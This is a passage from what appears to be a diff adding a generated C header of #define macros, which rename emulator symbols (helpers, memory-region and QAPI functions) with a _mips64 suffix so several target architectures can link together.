helper_recpe_f32_mips64 +#define helper_recpe_f64 helper_recpe_f64_mips64 +#define helper_recpe_u32 helper_recpe_u32_mips64 +#define helper_recps_f32 helper_recps_f32_mips64 +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_mips64 +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_mips64 +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_mips64 +#define helper_ret_stb_mmu helper_ret_stb_mmu_mips64 +#define helper_rintd helper_rintd_mips64 +#define helper_rintd_exact helper_rintd_exact_mips64 +#define helper_rints helper_rints_mips64 +#define helper_rints_exact helper_rints_exact_mips64 +#define helper_ror_cc helper_ror_cc_mips64 +#define helper_rsqrte_f32 helper_rsqrte_f32_mips64 +#define helper_rsqrte_f64 helper_rsqrte_f64_mips64 +#define helper_rsqrte_u32 helper_rsqrte_u32_mips64 +#define helper_rsqrts_f32 helper_rsqrts_f32_mips64 +#define helper_sadd16 helper_sadd16_mips64 +#define helper_sadd8 helper_sadd8_mips64 +#define helper_saddsubx helper_saddsubx_mips64 +#define helper_sar_cc helper_sar_cc_mips64 +#define helper_sdiv helper_sdiv_mips64 +#define helper_sel_flags helper_sel_flags_mips64 +#define helper_set_cp_reg helper_set_cp_reg_mips64 +#define helper_set_cp_reg64 helper_set_cp_reg64_mips64 +#define helper_set_neon_rmode helper_set_neon_rmode_mips64 +#define helper_set_r13_banked helper_set_r13_banked_mips64 +#define helper_set_rmode helper_set_rmode_mips64 +#define helper_set_user_reg helper_set_user_reg_mips64 +#define helper_shadd16 helper_shadd16_mips64 +#define helper_shadd8 helper_shadd8_mips64 +#define helper_shaddsubx helper_shaddsubx_mips64 +#define helper_shl_cc helper_shl_cc_mips64 +#define helper_shr_cc helper_shr_cc_mips64 +#define helper_shsub16 helper_shsub16_mips64 +#define helper_shsub8 helper_shsub8_mips64 +#define helper_shsubaddx helper_shsubaddx_mips64 +#define helper_ssat helper_ssat_mips64 +#define helper_ssat16 helper_ssat16_mips64 +#define helper_ssub16 helper_ssub16_mips64 +#define helper_ssub8 helper_ssub8_mips64 +#define helper_ssubaddx helper_ssubaddx_mips64 +#define helper_stb_mmu helper_stb_mmu_mips64 +#define helper_stl_mmu helper_stl_mmu_mips64 +#define helper_stq_mmu helper_stq_mmu_mips64 +#define helper_stw_mmu helper_stw_mmu_mips64 +#define helper_sub_saturate helper_sub_saturate_mips64 +#define helper_sub_usaturate helper_sub_usaturate_mips64 +#define helper_sxtb16 helper_sxtb16_mips64 +#define helper_uadd16 helper_uadd16_mips64 +#define helper_uadd8 helper_uadd8_mips64 +#define helper_uaddsubx helper_uaddsubx_mips64 +#define helper_udiv helper_udiv_mips64 +#define helper_uhadd16 helper_uhadd16_mips64 +#define helper_uhadd8 helper_uhadd8_mips64 +#define helper_uhaddsubx helper_uhaddsubx_mips64 +#define helper_uhsub16 helper_uhsub16_mips64 +#define helper_uhsub8 helper_uhsub8_mips64 +#define helper_uhsubaddx helper_uhsubaddx_mips64 +#define helper_uqadd16 helper_uqadd16_mips64 +#define helper_uqadd8 helper_uqadd8_mips64 +#define helper_uqaddsubx helper_uqaddsubx_mips64 +#define helper_uqsub16 helper_uqsub16_mips64 +#define helper_uqsub8 helper_uqsub8_mips64 +#define helper_uqsubaddx helper_uqsubaddx_mips64 +#define helper_usad8 helper_usad8_mips64 +#define helper_usat helper_usat_mips64 +#define helper_usat16 helper_usat16_mips64 +#define helper_usub16 helper_usub16_mips64 +#define helper_usub8 helper_usub8_mips64 +#define helper_usubaddx helper_usubaddx_mips64 +#define helper_uxtb16 helper_uxtb16_mips64 +#define helper_v7m_mrs helper_v7m_mrs_mips64 +#define helper_v7m_msr helper_v7m_msr_mips64 +#define helper_vfp_absd helper_vfp_absd_mips64 +#define helper_vfp_abss helper_vfp_abss_mips64 +#define helper_vfp_addd helper_vfp_addd_mips64 +#define helper_vfp_adds helper_vfp_adds_mips64 +#define helper_vfp_cmpd helper_vfp_cmpd_mips64 +#define helper_vfp_cmped helper_vfp_cmped_mips64 +#define helper_vfp_cmpes helper_vfp_cmpes_mips64 +#define helper_vfp_cmps helper_vfp_cmps_mips64 +#define helper_vfp_divd helper_vfp_divd_mips64 +#define helper_vfp_divs helper_vfp_divs_mips64 +#define helper_vfp_fcvtds helper_vfp_fcvtds_mips64 +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_mips64 +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_mips64 +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_mips64 +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_mips64 +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_mips64 +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_mips64 +#define helper_vfp_maxd helper_vfp_maxd_mips64 +#define helper_vfp_maxnumd helper_vfp_maxnumd_mips64 +#define helper_vfp_maxnums helper_vfp_maxnums_mips64 +#define helper_vfp_maxs helper_vfp_maxs_mips64 +#define helper_vfp_mind helper_vfp_mind_mips64 +#define helper_vfp_minnumd helper_vfp_minnumd_mips64 +#define helper_vfp_minnums helper_vfp_minnums_mips64 +#define helper_vfp_mins helper_vfp_mins_mips64 +#define helper_vfp_muladdd helper_vfp_muladdd_mips64 +#define helper_vfp_muladds helper_vfp_muladds_mips64 +#define helper_vfp_muld helper_vfp_muld_mips64 +#define helper_vfp_muls helper_vfp_muls_mips64 +#define helper_vfp_negd helper_vfp_negd_mips64 +#define helper_vfp_negs helper_vfp_negs_mips64 +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_mips64 +#define helper_vfp_shtod helper_vfp_shtod_mips64 +#define helper_vfp_shtos helper_vfp_shtos_mips64 +#define helper_vfp_sitod helper_vfp_sitod_mips64 +#define helper_vfp_sitos helper_vfp_sitos_mips64 +#define helper_vfp_sltod helper_vfp_sltod_mips64 +#define helper_vfp_sltos helper_vfp_sltos_mips64 +#define helper_vfp_sqrtd helper_vfp_sqrtd_mips64 +#define helper_vfp_sqrts helper_vfp_sqrts_mips64 +#define helper_vfp_sqtod helper_vfp_sqtod_mips64 +#define helper_vfp_sqtos helper_vfp_sqtos_mips64 +#define helper_vfp_subd helper_vfp_subd_mips64 +#define helper_vfp_subs helper_vfp_subs_mips64 +#define helper_vfp_toshd helper_vfp_toshd_mips64 +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_mips64 +#define helper_vfp_toshs helper_vfp_toshs_mips64 +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_mips64 +#define helper_vfp_tosid helper_vfp_tosid_mips64 +#define helper_vfp_tosis helper_vfp_tosis_mips64 +#define helper_vfp_tosizd helper_vfp_tosizd_mips64 +#define helper_vfp_tosizs helper_vfp_tosizs_mips64 +#define helper_vfp_tosld helper_vfp_tosld_mips64 +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_mips64 +#define helper_vfp_tosls helper_vfp_tosls_mips64 +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_mips64 +#define helper_vfp_tosqd helper_vfp_tosqd_mips64 +#define helper_vfp_tosqs helper_vfp_tosqs_mips64 +#define helper_vfp_touhd helper_vfp_touhd_mips64 +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_mips64 +#define helper_vfp_touhs helper_vfp_touhs_mips64 +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_mips64 +#define helper_vfp_touid helper_vfp_touid_mips64 +#define helper_vfp_touis helper_vfp_touis_mips64 +#define helper_vfp_touizd helper_vfp_touizd_mips64 +#define helper_vfp_touizs helper_vfp_touizs_mips64 +#define helper_vfp_tould helper_vfp_tould_mips64 +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_mips64 +#define helper_vfp_touls helper_vfp_touls_mips64 +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_mips64 +#define helper_vfp_touqd helper_vfp_touqd_mips64 +#define helper_vfp_touqs helper_vfp_touqs_mips64 +#define helper_vfp_uhtod helper_vfp_uhtod_mips64 +#define helper_vfp_uhtos helper_vfp_uhtos_mips64 +#define helper_vfp_uitod helper_vfp_uitod_mips64 +#define helper_vfp_uitos helper_vfp_uitos_mips64 +#define helper_vfp_ultod helper_vfp_ultod_mips64 +#define helper_vfp_ultos helper_vfp_ultos_mips64 +#define helper_vfp_uqtod helper_vfp_uqtod_mips64 +#define helper_vfp_uqtos helper_vfp_uqtos_mips64 +#define helper_wfe helper_wfe_mips64 +#define helper_wfi helper_wfi_mips64 +#define hex2decimal hex2decimal_mips64 +#define hw_breakpoint_update hw_breakpoint_update_mips64 +#define hw_breakpoint_update_all hw_breakpoint_update_all_mips64 +#define hw_watchpoint_update hw_watchpoint_update_mips64 +#define hw_watchpoint_update_all hw_watchpoint_update_all_mips64 +#define _init _init_mips64 +#define init_cpreg_list init_cpreg_list_mips64 +#define init_lists init_lists_mips64 +#define input_type_enum input_type_enum_mips64 +#define int128_2_64 int128_2_64_mips64 +#define int128_add int128_add_mips64 +#define int128_addto int128_addto_mips64 +#define int128_and int128_and_mips64 +#define int128_eq int128_eq_mips64 +#define int128_ge int128_ge_mips64 +#define int128_get64 int128_get64_mips64 +#define int128_gt int128_gt_mips64 +#define int128_le int128_le_mips64 +#define int128_lt int128_lt_mips64 +#define int128_make64 int128_make64_mips64 +#define int128_max int128_max_mips64 +#define int128_min int128_min_mips64 +#define int128_ne int128_ne_mips64 +#define int128_neg int128_neg_mips64 +#define int128_nz int128_nz_mips64 +#define int128_rshift int128_rshift_mips64 +#define int128_sub int128_sub_mips64 +#define int128_subfrom int128_subfrom_mips64 +#define int128_zero int128_zero_mips64 +#define int16_to_float32 int16_to_float32_mips64 +#define int16_to_float64 int16_to_float64_mips64 +#define int32_to_float128 int32_to_float128_mips64 +#define int32_to_float32 int32_to_float32_mips64 +#define int32_to_float64 int32_to_float64_mips64 +#define int32_to_floatx80 int32_to_floatx80_mips64 +#define int64_to_float128 int64_to_float128_mips64 +#define int64_to_float32 int64_to_float32_mips64 +#define int64_to_float64 int64_to_float64_mips64 +#define int64_to_floatx80 int64_to_floatx80_mips64 +#define invalidate_and_set_dirty invalidate_and_set_dirty_mips64 +#define invalidate_page_bitmap invalidate_page_bitmap_mips64 +#define io_mem_read io_mem_read_mips64 +#define io_mem_write io_mem_write_mips64 +#define io_readb io_readb_mips64 +#define io_readl io_readl_mips64 +#define io_readq io_readq_mips64 +#define io_readw io_readw_mips64 +#define iotlb_to_region iotlb_to_region_mips64 +#define io_writeb io_writeb_mips64 +#define io_writel io_writel_mips64 +#define io_writeq io_writeq_mips64 +#define io_writew io_writew_mips64 +#define is_a64 is_a64_mips64 +#define is_help_option is_help_option_mips64 +#define isr_read isr_read_mips64 +#define is_valid_option_list is_valid_option_list_mips64 +#define iwmmxt_load_creg iwmmxt_load_creg_mips64 +#define iwmmxt_load_reg iwmmxt_load_reg_mips64 +#define iwmmxt_store_creg iwmmxt_store_creg_mips64 +#define iwmmxt_store_reg iwmmxt_store_reg_mips64 +#define __jit_debug_descriptor __jit_debug_descriptor_mips64 +#define __jit_debug_register_code __jit_debug_register_code_mips64 +#define kvm_to_cpreg_id kvm_to_cpreg_id_mips64 +#define last_ram_offset last_ram_offset_mips64 +#define ldl_be_p ldl_be_p_mips64 +#define ldl_be_phys ldl_be_phys_mips64 +#define ldl_he_p ldl_he_p_mips64 +#define ldl_le_p ldl_le_p_mips64 +#define ldl_le_phys ldl_le_phys_mips64 +#define ldl_phys ldl_phys_mips64 +#define ldl_phys_internal ldl_phys_internal_mips64 +#define ldq_be_p ldq_be_p_mips64 +#define ldq_be_phys ldq_be_phys_mips64 +#define ldq_he_p ldq_he_p_mips64 +#define ldq_le_p ldq_le_p_mips64 +#define ldq_le_phys ldq_le_phys_mips64 +#define ldq_phys ldq_phys_mips64 +#define ldq_phys_internal ldq_phys_internal_mips64 +#define ldst_name ldst_name_mips64 +#define ldub_p ldub_p_mips64 +#define ldub_phys ldub_phys_mips64 +#define lduw_be_p lduw_be_p_mips64 +#define lduw_be_phys lduw_be_phys_mips64 +#define lduw_he_p lduw_he_p_mips64 +#define lduw_le_p lduw_le_p_mips64 +#define lduw_le_phys lduw_le_phys_mips64 +#define lduw_phys lduw_phys_mips64 +#define lduw_phys_internal lduw_phys_internal_mips64 +#define le128 le128_mips64 +#define linked_bp_matches linked_bp_matches_mips64 +#define listener_add_address_space listener_add_address_space_mips64 +#define load_cpu_offset load_cpu_offset_mips64 +#define load_reg load_reg_mips64 +#define load_reg_var load_reg_var_mips64 +#define log_cpu_state log_cpu_state_mips64 +#define lpae_cp_reginfo lpae_cp_reginfo_mips64 +#define lt128 lt128_mips64 +#define machine_class_init machine_class_init_mips64 +#define machine_finalize machine_finalize_mips64 +#define machine_info machine_info_mips64 +#define machine_initfn machine_initfn_mips64 +#define machine_register_types machine_register_types_mips64 +#define machvirt_init machvirt_init_mips64 +#define machvirt_machine_init machvirt_machine_init_mips64 +#define maj maj_mips64 +#define mapping_conflict mapping_conflict_mips64 +#define mapping_contiguous mapping_contiguous_mips64 +#define mapping_have_same_region mapping_have_same_region_mips64 +#define mapping_merge mapping_merge_mips64 +#define mem_add mem_add_mips64 +#define mem_begin mem_begin_mips64 +#define mem_commit mem_commit_mips64 +#define memory_access_is_direct memory_access_is_direct_mips64 +#define memory_access_size memory_access_size_mips64 +#define memory_init memory_init_mips64 +#define memory_listener_match memory_listener_match_mips64 +#define memory_listener_register memory_listener_register_mips64 +#define memory_listener_unregister memory_listener_unregister_mips64 +#define memory_map_init memory_map_init_mips64 +#define memory_mapping_filter memory_mapping_filter_mips64 +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_mips64 +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_mips64 +#define memory_mapping_list_free memory_mapping_list_free_mips64 +#define memory_mapping_list_init memory_mapping_list_init_mips64 +#define memory_region_access_valid memory_region_access_valid_mips64 +#define memory_region_add_subregion memory_region_add_subregion_mips64 +#define memory_region_add_subregion_common memory_region_add_subregion_common_mips64 +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_mips64 +#define memory_region_big_endian memory_region_big_endian_mips64 +#define memory_region_clear_pending memory_region_clear_pending_mips64 +#define memory_region_del_subregion memory_region_del_subregion_mips64 +#define memory_region_destructor_alias memory_region_destructor_alias_mips64 +#define memory_region_destructor_none memory_region_destructor_none_mips64 +#define memory_region_destructor_ram memory_region_destructor_ram_mips64 +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_mips64 +#define memory_region_dispatch_read memory_region_dispatch_read_mips64 +#define memory_region_dispatch_read1 memory_region_dispatch_read1_mips64 +#define memory_region_dispatch_write memory_region_dispatch_write_mips64 +#define memory_region_escape_name memory_region_escape_name_mips64 +#define memory_region_finalize memory_region_finalize_mips64 +#define memory_region_find memory_region_find_mips64 +#define memory_region_get_addr memory_region_get_addr_mips64 +#define memory_region_get_alignment memory_region_get_alignment_mips64 +#define memory_region_get_container memory_region_get_container_mips64 +#define memory_region_get_fd memory_region_get_fd_mips64 +#define memory_region_get_may_overlap memory_region_get_may_overlap_mips64 +#define memory_region_get_priority memory_region_get_priority_mips64 +#define memory_region_get_ram_addr memory_region_get_ram_addr_mips64 +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_mips64 +#define memory_region_get_size memory_region_get_size_mips64 +#define memory_region_info memory_region_info_mips64 +#define memory_region_init memory_region_init_mips64 +#define memory_region_init_alias memory_region_init_alias_mips64 +#define memory_region_initfn memory_region_initfn_mips64 +#define memory_region_init_io memory_region_init_io_mips64 +#define memory_region_init_ram memory_region_init_ram_mips64 +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_mips64 +#define memory_region_init_reservation memory_region_init_reservation_mips64 +#define memory_region_is_iommu memory_region_is_iommu_mips64 +#define memory_region_is_logging memory_region_is_logging_mips64 +#define memory_region_is_mapped memory_region_is_mapped_mips64 +#define memory_region_is_ram memory_region_is_ram_mips64 +#define memory_region_is_rom memory_region_is_rom_mips64 +#define memory_region_is_romd memory_region_is_romd_mips64 +#define memory_region_is_skip_dump memory_region_is_skip_dump_mips64 +#define memory_region_is_unassigned memory_region_is_unassigned_mips64 +#define memory_region_name memory_region_name_mips64 +#define memory_region_need_escape memory_region_need_escape_mips64 +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_mips64 +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_mips64 +#define memory_region_present memory_region_present_mips64 +#define memory_region_read_accessor memory_region_read_accessor_mips64 +#define memory_region_readd_subregion memory_region_readd_subregion_mips64 +#define memory_region_ref memory_region_ref_mips64 +#define memory_region_resolve_container memory_region_resolve_container_mips64 +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_mips64 +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_mips64 +#define memory_region_set_address memory_region_set_address_mips64 +#define memory_region_set_alias_offset memory_region_set_alias_offset_mips64 +#define memory_region_set_enabled memory_region_set_enabled_mips64 +#define memory_region_set_readonly memory_region_set_readonly_mips64 +#define memory_region_set_skip_dump memory_region_set_skip_dump_mips64 +#define memory_region_size memory_region_size_mips64 +#define memory_region_to_address_space memory_region_to_address_space_mips64 +#define memory_region_transaction_begin memory_region_transaction_begin_mips64 +#define memory_region_transaction_commit memory_region_transaction_commit_mips64 +#define memory_region_unref memory_region_unref_mips64 +#define memory_region_update_container_subregions memory_region_update_container_subregions_mips64 +#define memory_region_write_accessor memory_region_write_accessor_mips64 +#define memory_region_wrong_endianness memory_region_wrong_endianness_mips64 +#define memory_try_enable_merging memory_try_enable_merging_mips64 +#define module_call_init module_call_init_mips64 +#define module_load module_load_mips64 +#define mpidr_cp_reginfo mpidr_cp_reginfo_mips64 +#define mpidr_read mpidr_read_mips64 +#define msr_mask msr_mask_mips64 +#define mul128By64To192 mul128By64To192_mips64 +#define mul128To256 mul128To256_mips64 +#define mul64To128 mul64To128_mips64 +#define muldiv64 muldiv64_mips64 +#define neon_2rm_is_float_op neon_2rm_is_float_op_mips64 +#define neon_2rm_sizes neon_2rm_sizes_mips64 +#define neon_3r_sizes neon_3r_sizes_mips64 +#define neon_get_scalar neon_get_scalar_mips64 +#define neon_load_reg neon_load_reg_mips64 +#define neon_load_reg64 neon_load_reg64_mips64 +#define neon_load_scratch neon_load_scratch_mips64 +#define neon_ls_element_type neon_ls_element_type_mips64 +#define neon_reg_offset neon_reg_offset_mips64 +#define neon_store_reg neon_store_reg_mips64 +#define neon_store_reg64 neon_store_reg64_mips64 +#define neon_store_scratch neon_store_scratch_mips64 +#define new_ldst_label new_ldst_label_mips64 +#define next_list next_list_mips64 +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_mips64 +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_mips64 +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_mips64 +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_mips64 +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_mips64 +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_mips64 +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_mips64 +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_mips64 +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_mips64 +#define not_v6_cp_reginfo not_v6_cp_reginfo_mips64 +#define not_v7_cp_reginfo not_v7_cp_reginfo_mips64 +#define not_v8_cp_reginfo not_v8_cp_reginfo_mips64 +#define object_child_foreach object_child_foreach_mips64 +#define object_class_foreach object_class_foreach_mips64 +#define object_class_foreach_tramp object_class_foreach_tramp_mips64 +#define object_class_get_list object_class_get_list_mips64 +#define object_class_get_list_tramp object_class_get_list_tramp_mips64 +#define object_class_get_parent object_class_get_parent_mips64 +#define object_deinit object_deinit_mips64 +#define object_dynamic_cast object_dynamic_cast_mips64 +#define object_finalize object_finalize_mips64 +#define object_finalize_child_property object_finalize_child_property_mips64 +#define object_get_child_property object_get_child_property_mips64 +#define object_get_link_property object_get_link_property_mips64 +#define object_get_root object_get_root_mips64 +#define object_initialize_with_type object_initialize_with_type_mips64 +#define object_init_with_type object_init_with_type_mips64 +#define object_instance_init object_instance_init_mips64 +#define object_new_with_type object_new_with_type_mips64 +#define object_post_init_with_type object_post_init_with_type_mips64 +#define object_property_add_alias object_property_add_alias_mips64 +#define object_property_add_link object_property_add_link_mips64 +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_mips64 +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_mips64 +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_mips64 +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_mips64 +#define object_property_allow_set_link object_property_allow_set_link_mips64 +#define object_property_del object_property_del_mips64 +#define object_property_del_all object_property_del_all_mips64 +#define object_property_find object_property_find_mips64 +#define object_property_get object_property_get_mips64 +#define object_property_get_bool object_property_get_bool_mips64 +#define object_property_get_int object_property_get_int_mips64 +#define object_property_get_link object_property_get_link_mips64 +#define object_property_get_qobject object_property_get_qobject_mips64 +#define object_property_get_str object_property_get_str_mips64 +#define object_property_get_type object_property_get_type_mips64 +#define object_property_is_child object_property_is_child_mips64 +#define object_property_set object_property_set_mips64 +#define object_property_set_description object_property_set_description_mips64 +#define object_property_set_link object_property_set_link_mips64 +#define object_property_set_qobject object_property_set_qobject_mips64 +#define object_release_link_property object_release_link_property_mips64 +#define object_resolve_abs_path object_resolve_abs_path_mips64 +#define object_resolve_child_property object_resolve_child_property_mips64 +#define object_resolve_link object_resolve_link_mips64 +#define object_resolve_link_property object_resolve_link_property_mips64 +#define object_resolve_partial_path object_resolve_partial_path_mips64 +#define object_resolve_path object_resolve_path_mips64 +#define object_resolve_path_component object_resolve_path_component_mips64 +#define object_resolve_path_type object_resolve_path_type_mips64 +#define object_set_link_property object_set_link_property_mips64 +#define object_unparent object_unparent_mips64 +#define omap_cachemaint_write omap_cachemaint_write_mips64 +#define omap_cp_reginfo omap_cp_reginfo_mips64 +#define omap_threadid_write omap_threadid_write_mips64 +#define omap_ticonfig_write omap_ticonfig_write_mips64 +#define omap_wfi_write omap_wfi_write_mips64 +#define op_bits op_bits_mips64 +#define open_modeflags open_modeflags_mips64 +#define op_to_mov op_to_mov_mips64 +#define op_to_movi op_to_movi_mips64 +#define output_type_enum output_type_enum_mips64 +#define packFloat128 packFloat128_mips64 +#define packFloat16 packFloat16_mips64 +#define packFloat32 packFloat32_mips64 +#define packFloat64 packFloat64_mips64 +#define packFloatx80 packFloatx80_mips64 +#define page_find page_find_mips64 +#define page_find_alloc page_find_alloc_mips64 +#define page_flush_tb page_flush_tb_mips64 +#define page_flush_tb_1 page_flush_tb_1_mips64 +#define page_init page_init_mips64 +#define page_size_init page_size_init_mips64 +#define par par_mips64 +#define parse_array parse_array_mips64 +#define parse_error parse_error_mips64 +#define parse_escape parse_escape_mips64 +#define parse_keyword parse_keyword_mips64 +#define parse_literal parse_literal_mips64 +#define parse_object parse_object_mips64 +#define parse_optional parse_optional_mips64 +#define parse_option_bool parse_option_bool_mips64 +#define parse_option_number parse_option_number_mips64 +#define parse_option_size parse_option_size_mips64 +#define parse_pair parse_pair_mips64 +#define parser_context_free parser_context_free_mips64 +#define parser_context_new parser_context_new_mips64 +#define parser_context_peek_token parser_context_peek_token_mips64 +#define parser_context_pop_token parser_context_pop_token_mips64 +#define parser_context_restore parser_context_restore_mips64 +#define parser_context_save parser_context_save_mips64 +#define parse_str parse_str_mips64 +#define parse_type_bool parse_type_bool_mips64 +#define parse_type_int parse_type_int_mips64 +#define parse_type_number parse_type_number_mips64 +#define parse_type_size parse_type_size_mips64 +#define parse_type_str parse_type_str_mips64 +#define parse_value parse_value_mips64 +#define par_write par_write_mips64 +#define patch_reloc patch_reloc_mips64 +#define phys_map_node_alloc phys_map_node_alloc_mips64 +#define phys_map_node_reserve phys_map_node_reserve_mips64 +#define phys_mem_alloc phys_mem_alloc_mips64 +#define phys_mem_set_alloc phys_mem_set_alloc_mips64 +#define phys_page_compact phys_page_compact_mips64 +#define phys_page_compact_all phys_page_compact_all_mips64 +#define phys_page_find phys_page_find_mips64 +#define phys_page_set phys_page_set_mips64 +#define phys_page_set_level phys_page_set_level_mips64 +#define phys_section_add phys_section_add_mips64 +#define phys_section_destroy phys_section_destroy_mips64 +#define phys_sections_free phys_sections_free_mips64 +#define pickNaN pickNaN_mips64 +#define pickNaNMulAdd pickNaNMulAdd_mips64 +#define pmccfiltr_write pmccfiltr_write_mips64 +#define pmccntr_read pmccntr_read_mips64 +#define pmccntr_sync pmccntr_sync_mips64 +#define pmccntr_write pmccntr_write_mips64 +#define pmccntr_write32 pmccntr_write32_mips64 +#define pmcntenclr_write pmcntenclr_write_mips64 +#define pmcntenset_write pmcntenset_write_mips64 +#define pmcr_write pmcr_write_mips64 +#define pmintenclr_write pmintenclr_write_mips64 +#define pmintenset_write pmintenset_write_mips64 +#define pmovsr_write pmovsr_write_mips64 +#define pmreg_access pmreg_access_mips64 +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_mips64 +#define pmsav5_data_ap_read pmsav5_data_ap_read_mips64 +#define pmsav5_data_ap_write pmsav5_data_ap_write_mips64 +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_mips64 +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_mips64 +#define pmuserenr_write pmuserenr_write_mips64 +#define pmxevtyper_write pmxevtyper_write_mips64 +#define print_type_bool print_type_bool_mips64 +#define print_type_int print_type_int_mips64 +#define print_type_number print_type_number_mips64 +#define print_type_size print_type_size_mips64 +#define print_type_str print_type_str_mips64 +#define propagateFloat128NaN propagateFloat128NaN_mips64 +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_mips64 +#define propagateFloat32NaN propagateFloat32NaN_mips64 +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_mips64 +#define propagateFloat64NaN propagateFloat64NaN_mips64 +#define propagateFloatx80NaN propagateFloatx80NaN_mips64 +#define property_get_alias property_get_alias_mips64 +#define property_get_bool property_get_bool_mips64 +#define property_get_str property_get_str_mips64 +#define property_get_uint16_ptr property_get_uint16_ptr_mips64 +#define property_get_uint32_ptr property_get_uint32_ptr_mips64 +#define property_get_uint64_ptr property_get_uint64_ptr_mips64 +#define property_get_uint8_ptr property_get_uint8_ptr_mips64 +#define property_release_alias property_release_alias_mips64 +#define property_release_bool property_release_bool_mips64 +#define property_release_str property_release_str_mips64 +#define property_resolve_alias property_resolve_alias_mips64 +#define property_set_alias property_set_alias_mips64 +#define property_set_bool property_set_bool_mips64 +#define property_set_str property_set_str_mips64 +#define pstate_read pstate_read_mips64 +#define pstate_write pstate_write_mips64 +#define pxa250_initfn pxa250_initfn_mips64 +#define pxa255_initfn pxa255_initfn_mips64 +#define pxa260_initfn pxa260_initfn_mips64 +#define pxa261_initfn pxa261_initfn_mips64 +#define pxa262_initfn pxa262_initfn_mips64 +#define pxa270a0_initfn pxa270a0_initfn_mips64 +#define pxa270a1_initfn pxa270a1_initfn_mips64 +#define pxa270b0_initfn pxa270b0_initfn_mips64 +#define pxa270b1_initfn pxa270b1_initfn_mips64 +#define pxa270c0_initfn pxa270c0_initfn_mips64 +#define pxa270c5_initfn pxa270c5_initfn_mips64 +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_mips64 +#define qapi_dealloc_end_list qapi_dealloc_end_list_mips64 +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_mips64 +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_mips64 +#define qapi_dealloc_next_list qapi_dealloc_next_list_mips64 +#define qapi_dealloc_pop qapi_dealloc_pop_mips64 +#define qapi_dealloc_push qapi_dealloc_push_mips64 +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_mips64 +#define qapi_dealloc_start_list qapi_dealloc_start_list_mips64 +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_mips64 +#define qapi_dealloc_start_union qapi_dealloc_start_union_mips64 +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_mips64 +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_mips64 +#define qapi_dealloc_type_int qapi_dealloc_type_int_mips64 +#define qapi_dealloc_type_number qapi_dealloc_type_number_mips64 +#define qapi_dealloc_type_size qapi_dealloc_type_size_mips64 +#define qapi_dealloc_type_str qapi_dealloc_type_str_mips64 +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_mips64 +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_mips64 +#define qapi_free_boolList qapi_free_boolList_mips64 +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_mips64 +#define qapi_free_int16List qapi_free_int16List_mips64 +#define qapi_free_int32List qapi_free_int32List_mips64 +#define qapi_free_int64List qapi_free_int64List_mips64 +#define qapi_free_int8List qapi_free_int8List_mips64 +#define qapi_free_intList qapi_free_intList_mips64 +#define qapi_free_numberList qapi_free_numberList_mips64 +#define qapi_free_strList qapi_free_strList_mips64 +#define qapi_free_uint16List qapi_free_uint16List_mips64 +#define qapi_free_uint32List qapi_free_uint32List_mips64 +#define qapi_free_uint64List qapi_free_uint64List_mips64 +#define qapi_free_uint8List qapi_free_uint8List_mips64 +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_mips64 +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_mips64 +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_mips64 +#define qbool_destroy_obj 